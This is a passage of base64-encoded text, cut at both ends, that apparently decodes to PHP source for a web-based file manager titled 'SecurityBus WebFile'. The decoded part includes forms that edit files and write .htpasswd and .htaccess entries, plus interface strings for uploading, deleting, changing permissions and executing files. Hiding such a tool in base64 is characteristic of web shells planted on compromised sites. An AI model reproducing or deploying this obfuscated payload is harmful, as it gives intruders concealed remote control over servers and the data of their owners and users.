dGl2YXRlKFwnY3JlYXRlXCcpIj4NCgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9vcHRpb24+DQoJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfY3JlYXRlIiB2YWx1ZT0iJyAuIHdvcmQoJ2NyZWF0ZScpIC4gJyIgb25mb2N1cz0iYWN0aXZhdGUoXCdjcmVhdGVcJykiIC8+DQoJPC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIGVkaXQgKCRmaWxlKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkZWRpdGNvbHMsICRlZGl0cm93cywgJGFwYWNoZSwgJGh0cGFzc3dkLCAkaHRhY2Nlc3M7DQoNCglodG1sX2hlYWRlcigpOw0KDQoJZWNobyAnPGgyIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAzcHQiPicgLiBodG1sKCRmaWxlKSAuICc8L2gyPg0KDQo8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCg0KCTx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjb2xzPSInIC4gJGVkaXRjb2xzIC4gJyIgcm93cz0iJyAuICRlZGl0cm93cyAuICciIFdSQVA9Im9mZiI+JzsNCg0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdjb250ZW50JywgJF9QT1NUKSkgew0KCQllY2hvICRfUE9TVFsnY29udGVudCddOw0KCX0gZWxzZSB7DQoJCSRmID0gZm9wZW4oJGZpbGUsICdyJyk7DQoJCXdoaWxlICghZmVvZigkZikpIHsNCgkJCWVjaG8gaHRtbChmcmVhZCgkZiwgODE5MikpOw0KCQl9DQoJCWZjbG9zZSgkZik7DQoJfQ0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsNCgkJZWNobyAiXA0KIiAuICRfUE9TVFsndXNlciddIC4gJzonIC4gY3J5cHQoJF9QT1NUWydwYXNzd29yZCddKTsNCgl9DQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Jhc2ljX2F1dGgnXSkpIHsNCgkJaWYgKCR3aW4pIHsNCgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7DQoJCX0gZWxzZSB7DQoJCQkkYXV0aGZpbGUgPSAkZGlyZWN0b3J5IC4gJGh0cGFzc3dkOw0KCQl9DQoJCWVjaG8gIlwNCkF1dGhUeXBlIEJhc2ljXA0KQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcDQoiOw0KCQllY2hvICdBdXRoVXNlckZpbGUgJnF1b3Q7JyAuIGh0bWwoJGF1dGhmaWxlKSAuICImcXVvdDtcDQoiOw0KCQllY2hvICdSZXF1aXJlIHZhbGlkLXVzZXInOw0KCX0NCg0KCWVjaG8gJzwvdGV4dGFyZWE+DQoNCgk8aHIgLz4NCic7DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0cGFzc3dkKSB7DQoJCWVjaG8gJw0KCScgLiB3b3JkKCd1c2VyJykgLiAnOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz4NCgknIC4gd29yZCgncGFzc3dvcmQnKSAuICc6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdhZGQnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0YWNjZXNzKSB7DQoJCWVjaG8gJw0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImJhc2ljX2F1dGgiIHZhbHVlPSInIC4gd29yZCgnYWRkX2Jhc2ljX2F1dGgnKSAuICciIC8+DQoNCgk8aHIgLz4NCic7DQoNCgl9DQoNCgllY2hvICcNCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0IiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSInIC4gd29yZCgncmVzZXQnKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSInIC4gd29yZCgnc2F2ZScpIC4gJyIgaWQ9ImdyZWVuX2J1dHRvbiIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA1MHB4IiAvPg0KDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCglodG1sX2Zvb3RlcigpOw0KDQp9DQoNCmZ1bmN0aW9uIHNwYWNlciAoKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJZWNobyAnPHRyPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBzdHlsZT0iaGVpZ2h0OiAxZW0iPjwvdGQ+DQo8L3RyPg0KJzsNCg0KfQ0KDQpmdW5jdGlvbiB0ZXh0ZmllbGRzaXplICgkY29udGVudCkgew0KDQoJJHNpemUgPSBzdHJsZW4oJGNvbnRlbnQpICsgNTsNCglpZiAoJHNpemUgPCAzMCkgJHNpemUgPSAzMDsNCg0KCXJldHVybiAkc2l6ZTsNCg0KfQ0KDQpmdW5jdGlvbiByZXF1ZXN0X2R1bXAgKCkgew0KDQoJZm9yZWFjaCAoJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCWVjaG8gIlx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiIiAuIGh0bWwoJGtleSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJHZhbHVlKSAuICJcIiAvPlwNCiI7DQoJfQ0KDQp9DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCg0KZnVuY3Rpb24gaHRtbCAoJHN0cmluZykgew0KCWdsb2JhbCAkc2l0ZV9jaGFyc2V0Ow0KCXJldHVybiBodG1sZW50aXRpZXMoJHN0cmluZywgRU5UX0NPTVBBVCwgJHNpdGVfY2hhcnNldCk7DQp9DQoNCmZ1bmN0aW9uIHdvcmQgKCR3b3JkKSB7DQoJZ2xvYmFsICR3b3JkcywgJHdvcmRfY2hhcnNldDsNCglyZXR1cm4gaHRtbGVudGl0aWVzKCR3b3Jkc1skd29yZF0sIEVOVF9DT01QQVQsICR3b3JkX2NoYXJzZXQpOw0KfQ0KDQpmdW5jdGlvbiBwaHJhc2UgKCRwaHJhc2UsICRhcmd1bWVudHMpIHsNCglnbG9iYWwgJHdvcmRzOw0KCXN0YXRpYyAkc2VhcmNoOw0KDQoJaWYgKCFpc19hcnJheSgkc2VhcmNoKSkgZm9yICgkaSA9IDE7ICRpIDw9IDg7ICRpKyspICRzZWFyY2hbXSA9ICIlJGkiOw0KDQoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRhcmd1bWVudHMpOyAkaSsrKSB7DQoJCSRhcmd1bWVudHNbJGldID0gbmwyYnIoaHRtbCgkYXJndW1lbnRzWyRpXSkpOw0KCX0NCg0KCSRyZXBsYWNlID0gYXJyYXkoJ3snID0+ICc8cHJlPicsICd9JyA9Pic8L3ByZT4nLCAnWycgPT4gJzxiPicsICddJyA9PiAnPC9iPicpOw0KDQoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRhcmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwyYnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOw0KDQp9DQoNCmZ1bmN0aW9uIGdldHdvcmRzICgkbGFuZykgew0KCWdsb2JhbCAkd29yZF9jaGFyc2V0LCAkZGF0ZV9mb3JtYXQ7DQoNCglzd2l0Y2ggKCRsYW5nKSB7DQoJY2FzZSAnaXQnOg0KICAgIGRlZmF1bHQ6DQoJCSRkYXRlX2Zvcm1hdCA9ICdkLW0tWSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnTm9tZSBGaWxlJywNCg0KJ3NpemUnID0+ICdEaW1lbnNpb25pJywNCidwZXJtaXNzaW9uJyA9PiAnUGVybWVzc2knLA0KJ293bmVyJyA9PiAnUHJvcHJpZXRhcmlvJywNCidncm91cCcgPT4gJ0dydXBwbycsDQonb3RoZXInID0+ICdBbHRybycsDQonZnVuY3Rpb25zJyA9PiAnRnVuemlvbmknLA0KDQoncmVhZCcgPT4gJ2xlZ2dpJywNCid3cml0ZScgPT4gJ3Njcml2aScsDQonZXhlY3V0ZScgPT4gJ2VzZWd1aScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWEgbGluayBzaW1ib2xpY28nLA0KJ2RlbGV0ZScgPT4gJ2NhbmNlbGxhJywNCidyZW5hbWUnID0+ICdyaW5vbWluYScsDQonbW92ZScgPT4gJ3Nwb3N0YScsDQonY29weScgPT4gJ2NvcGlhJywNCidlZGl0JyA9PiAnbW9kaWZpY2EnLA0KJ2Rvd25sb2FkJyA9PiAnZG93bmxvYWQnLA0KJ3VwbG9hZCcgPT4gJ3VwbG9hZCcsDQonY3JlYXRlJyA9PiAnY3JlYScsDQonY2hhbmdlJyA9PiAnY2FtYmlhJywNCidzYXZlJyA9PiAnc2FsdmEnLA0KJ3NldCcgPT4gJ2ltcG9zdGEnLA0KJ3Jlc2V0JyA9PiAncmVpbXBvc3RhJywNCidyZWxhdGl2ZScgPT4gJ1BlcmNvcnNvIHJlbGF0aXZvIHBlciBsYSBkZXN0aW5hemlvbmUnLA0KDQoneWVzJyA9PiAnU2knLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdpbmRpZXRybycsDQonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hemlvbmUnLA0KJ3N5bWxpbmsnID0+ICdMaW5rIHNpbWJvbGljbycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZ2dpdW5naScsDQonYWRkX2Jhc2ljX2F1dGgnID0+ICdhZ2dpdW5naSBhdXRlbnRpY2F6aW9uZSBiYXNlJywNCg0KJ3VwbG9hZGVkJyA9PiAnIlslMV0iICBzdGF0byBjYXJpY2F0by4nLA0KJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIGNhcmljYXRvLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZXNpc3RlIGdpPyAuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iICBzdGF0byBjcmVhdG8uJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIGNyZWF0by4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdDYW5jZWxsbyBxdWVzdGkgZmlsZSA/JywNCidkZWxldGVkJyA9PiAiUXVlc3RpIGZpbGUgc29ubyBzdGF0aSBjYW5jZWxsYXRpOlwNClslMV0iLA0KJ25vdF9kZWxldGVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIGNhbmNlbGxhdGk6XA0KWyUxXSIsDQoncmVuYW1lX2ZpbGUnID0+ICdGaWxlIHJpbm9taW5hdG86JywNCidyZW5hbWVkJyA9PiAnIlslMV0iICBzdGF0byByaW5vbWluYXRvIGluICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gbm9uICBzdGF0byByaW5vbWluYXRvIGluICJbJTJdIi4nLA0KJ21vdmVfZmlsZXMnID0+ICdTcG9zdG8gcXVlc3RpIGZpbGU6JywNCidtb3ZlZCcgPT4gIlF1ZXN0aSBmaWxlIHNvbm8gc3RhdGkgc3Bvc3RhdGkgaW4gXCJbJTJdXCI6XA0KWyUxXSIsDQonbm90X21vdmVkJyA9PiAiUXVlc3RpIGZpbGUgbm9uIHBvc3Nvbm8gZXNzZXJlIHNwb3N0YXRpIGluIFwiWyUyXVwiOlwNClslMV0iLA0KJ2NvcHlfZmlsZXMnID0+ICdDb3BpbyBxdWVzdGkgZmlsZScsDQonY29waWVkJyA9PiAiUXVlc3RpIGZpbGUgc29ubyBzdGF0aSBjb3BpYXRpIGluIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9jb3BpZWQnID0+ICJRdWVzdGkgZmlsZSBub24gcG9zc29ubyBlc3NlcmUgY29waWF0aSBpbiBcIlslMl1cIjpcDQpbJTFdIiwNCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIG5vbiBwdT8gZXNzZXJlIG1vZGlmaWNhdG8uJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiICBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc286XA0KeyUyfSIsDQonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgbm9uICBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc29cDQp7JTJ9IiwNCidzYXZlZCcgPT4gJyJbJTFdIiAgc3RhdG8gc2FsdmF0by4nLA0KJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBub24gIHN0YXRvIHNhbHZhdG8uJywNCidzeW1saW5rZWQnID0+ICdJbCBsaW5rIHNpYW1ib2xpY28gZGEgIlslMl0iIGEgIlslMV0iICBzdGF0byBjcmVhdG8uJywNCidub3Rfc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJbJTJdIiBhICJbJTFdIiBub24gIHN0YXRvIGNyZWF0by4nLA0KJ3Blcm1pc3Npb25fZm9yJyA9PiAnUGVybWVzc2kgZGkgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdJIHBlcm1lc3NpIGRpICJbJTFdIiBzb25vIHN0YXRpIGltcG9zdGF0aSBbJTJdLicsDQoncGVybWlzc2lvbl9ub3Rfc2V0JyA9PiAnSSBwZXJtZXNzaSBkaSAiWyUxXSIgbm9uIHNvbm8gc3RhdGkgaW1wb3N0YXRpIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgbm9uIHB1PyBlc3NlcmUgbGV0dG8uJw0KCQkpOw0KDQoJY2FzZSAnZW4nOg0KDQoJCSRkYXRlX2Zvcm1hdCA9ICduL2oveSBIOmk6cyc7DQoJCSR3b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7DQoNCgkJcmV0dXJuIGFycmF5KA0KJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsDQonZmlsZScgPT4gJ0ZpbGUnLA0KJ2ZpbGVuYW1lJyA9PiAnRmlsZW5hbWUnLA0KDQonc2l6ZScgPT4gJ1NpemUnLA0KJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywNCidvd25lcicgPT4gJ093bmVyJywNCidncm91cCcgPT4gJ0dyb3VwJywNCidvdGhlcicgPT4gJ090aGVycycsDQonZnVuY3Rpb25zJyA9PiAnRnVuY3Rpb25zJywNCg0KJ3JlYWQnID0+ICdyZWFkJywNCid3cml0ZScgPT4gJ3dyaXRlJywNCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsDQoNCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywNCidkZWxldGUnID0+ICdkZWxldGUnLA0KJ3JlbmFtZScgPT4gJ3JlbmFtZScsDQonbW92ZScgPT4gJ21vdmUnLA0KJ2NvcHknID0+ICdjb3B5JywNCidlZGl0JyA9PiAnZWRpdCcsDQonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsDQondXBsb2FkJyA9PiAndXBsb2FkJywNCidjcmVhdGUnID0+ICdjcmVhdGUnLA0KJ2NoYW5nZScgPT4gJ2NoYW5nZScsDQonc2F2ZScgPT4gJ3NhdmUnLA0KJ3NldCcgPT4gJ3NldCcsDQoncmVzZXQnID0+ICdyZXNldCcsDQoncmVsYXRpdmUnID0+ICdSZWxhdGl2ZSBwYXRoIHRvIHRhcmdldCcsDQoNCid5ZXMnID0+ICdZZXMnLA0KJ25vJyA9PiAnTm8nLA0KJ2JhY2snID0+ICdiYWNrJywNCidkZXN0aW5hdGlvbicgPT4gJ0Rlc3RpbmF0aW9uJywNCidzeW1saW5rJyA9PiAnU3ltbGluaycsDQonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywNCg0KJ3VzZXInID0+ICdVc2VyJywNCidwYXNzd29yZCcgPT4gJ1Bhc3N3b3JkJywNCidhZGQnID0+ICdhZGQnLA0KJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLA0KDQondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywNCidub3RfdXBsb2FkZWQnID0+ICciWyUxXSIgY291bGQgbm90IGJlIHVwbG9hZGVkLicsDQonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgYWxyZWFkeSBleGlzdHMuJywNCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLA0KJ3JlYWxseV9kZWxldGUnID0+ICdEZWxldGUgdGhlc2UgZmlsZXM/JywNCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGRlbGV0ZWQ6XA0KWyUxXSIsDQonbm90X2RlbGV0ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgZGVsZXRlZDpcDQpbJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ1JlbmFtZSBmaWxlOicsDQoncmVuYW1lZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiByZW5hbWVkIHRvICJbJTJdIi4nLA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gY291bGQgbm90IGJlIHJlbmFtZWQgdG8gIlslMl0iLicsDQonbW92ZV9maWxlcycgPT4gJ01vdmUgdGhlc2UgZmlsZXM6JywNCidtb3ZlZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBtb3ZlZCB0byBcIlslMl1cIjpcDQpbJTFdIiwNCidub3RfbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgbW92ZWQgdG8gXCJbJTJdXCI6XA0KWyUxXSIsDQonY29weV9maWxlcycgPT4gJ0NvcHkgdGhlc2UgZmlsZXM6JywNCidjb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gY29waWVkIHRvIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9jb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgY29waWVkIHRvIFwiWyUyXVwiOlwNClslMV0iLA0KJ25vdF9lZGl0ZWQnID0+ICciWyUxXSIgY2FuIG5vdCBiZSBlZGl0ZWQuJywNCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcDQp7JTJ9IiwNCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBjb3VsZCBub3QgYmUgZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlwNCnslMn0iLA0KJ3NhdmVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIHNhdmVkLicsDQonbm90X3NhdmVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBzYXZlZC4nLA0KJ3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidub3Rfc3ltbGlua2VkJyA9PiAnU3ltbGluayBmcm9tICJbJTJdIiB0byAiWyUxXSIgY291bGQgbm90IGJlIGNyZWF0ZWQuJywNCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iOicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiB3YXMgc2V0IHRvIFslMl0uJywNCidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiBjb3VsZCBub3QgYmUgc2V0IHRvIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgY2FuIG5vdCBiZSByZWFkLicNCgkJKTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBnZXRpbWFnZSAoJGltYWdlKSB7DQoJc3dpdGNoICgkaW1hZ2UpIHsNCgljYXNlICdmaWxlJzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy93QUFBUC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdmb2xkZXInOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFKbVptZi8vLzh6TXpQLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUlxbkkrWndLd2JZZ1RQdEl1ZGxid0xPZ0NCUUpZbUNZcm4rbTNzbVk1dkdjKzBhN2Roamg3WmJ5Z0FBRHNBJyk7DQoJY2FzZSAnaGlkZGVuX2ZpbGUnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFNd0FBUC8vLzVtWm1mLy8veUg1QkFIb0F3TUFMQUFBQUFBUkFBMEFBQUl0bklHSnhnMEI0MnJzaVN2Q0EvUkVtWFFXaG1uaWgzTFVTR2FxZzM1dkZiU1h1Y2JTYWJ1bmpuTW9ocThDQURzQScpOw0KCWNhc2UgJ2xpbmsnOg0KCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUtJRUFKbVptZi8vL3dBQUFNd0FBUC8vL3dBQUFBQUFBQUFBQUNINUJBSG9Bd1FBTEFBQUFBQVJBQTBBQUFNNVNBcmNyRENDUU91TGNJb3R3Z1RZVWxsTk9BMER4WGttaFk0c2hNNXpzTVVLVFk4Z05nVXZXNmNuQWFaZ3hNeUlNMnpCTENhSGxKZ0FBRHNBJyk7DQoJY2FzZSAnc21pbGV5JzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRUNBQUFBQVAvL0FQLy8vd0FBQUNINUJBSG9Bd0lBTEFBQUFBQVJBQTBBQUFJc2xJK3BBdTJ3REFpejBqV0QzaHFtQnpaZjFWQ2xlSlFjaDBya2RucHBCM2RLWnVJeWdyTVJFL29KRHdVQU93QT0nKTsNCgljYXNlICdhcnJvdyc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSUFCQUFBQUFQLy8veUg1QkFFS0FBRUFMQUFBQUFBUkFBMEFBQUlkakE5d3k2Z05RNHB3VW1hdjB5dm4raGhKaUkzbUNKNm90cklreHhRQU93PT0nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsNCglnbG9iYWwgJHNpdGVfY2hhcnNldDsNCg0KCWVjaG8gPDw8RU5EDQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KICAgICAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9JHNpdGVfY2hhcnNldCIgLz4NCg0KPHRpdGxlPlNlY3VyaXR5QnVzIFdlYkZpbGU8L3RpdGxlPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSB7IGZvbnQ6IHNtYWxsIHNhbnMtc2VyaWY7IHRleHQtYWxpZ246IGNlbnRlciB9DQppbWcgeyB3aWR0aDogMTdweDsgaGVpZ2h0OiAxM3B4IH0NCmEsIGE6dmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6IG5hdnkgfQ0KaHIgeyBib3JkZXItc3R5bGU6IG5vbmU7IGhlaWdodDogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBzaWx2ZXI7IGNvbG9yOiBzaWx2ZXIgfQ0KI21haW4geyBtYXJnaW4tdG9wOiA2cHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IGJvcmRlci1zcGFjaW5nOiAxcHggfQ0KI21haW4gdGggeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAzcHQgM3B0IDBwdCAzcHQgfQ0KLmxpc3RpbmcgdGgsIC5saXN0aW5nIHRkIHsgcGFkZGluZzogMXB4IDNwdCAwIDNwdCB9DQoubGlzdGluZyB0aCB7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQoubGlzdGluZyB0ZCB7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IGJhY2tncm91bmQ6IHdoaXRlIH0NCi5saXN0aW5nIC5jaGVja2JveCB7IHRleHQtYWxpZ246IGNlbnRlciB9DQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5zaXplIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KLmxpc3RpbmcgLnBlcm1pc3Npb25faGVhZGVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAucGVybWlzc2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQ0KLmxpc3RpbmcgLm93bmVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAuZ3JvdXAgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nX2Zvb3RlciB0ZCB7IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojZGlyZWN0b3J5LCAjdXBsb2FkLCAjY3JlYXRlLCAubGlzdGluZ19mb290ZXIgdGQsICNlcnJvciB0ZCwgI25vdGljZSB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9DQojZGlyZWN0b3J5IHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiN1cGxvYWQgeyBwYWRkaW5nLXRvcDogMWVtIH0NCiNjcmVhdGUgeyBwYWRkaW5nLWJvdHRvbTogMWVtIH0NCi5zbWFsbCwgLnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9DQp0ZXh0YXJlYSB7IGJvcmRlcjogbm9uZTsgYmFja2dyb3VuZDogd2hpdGUgfQ0KdGFibGUuZGlhbG9nIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4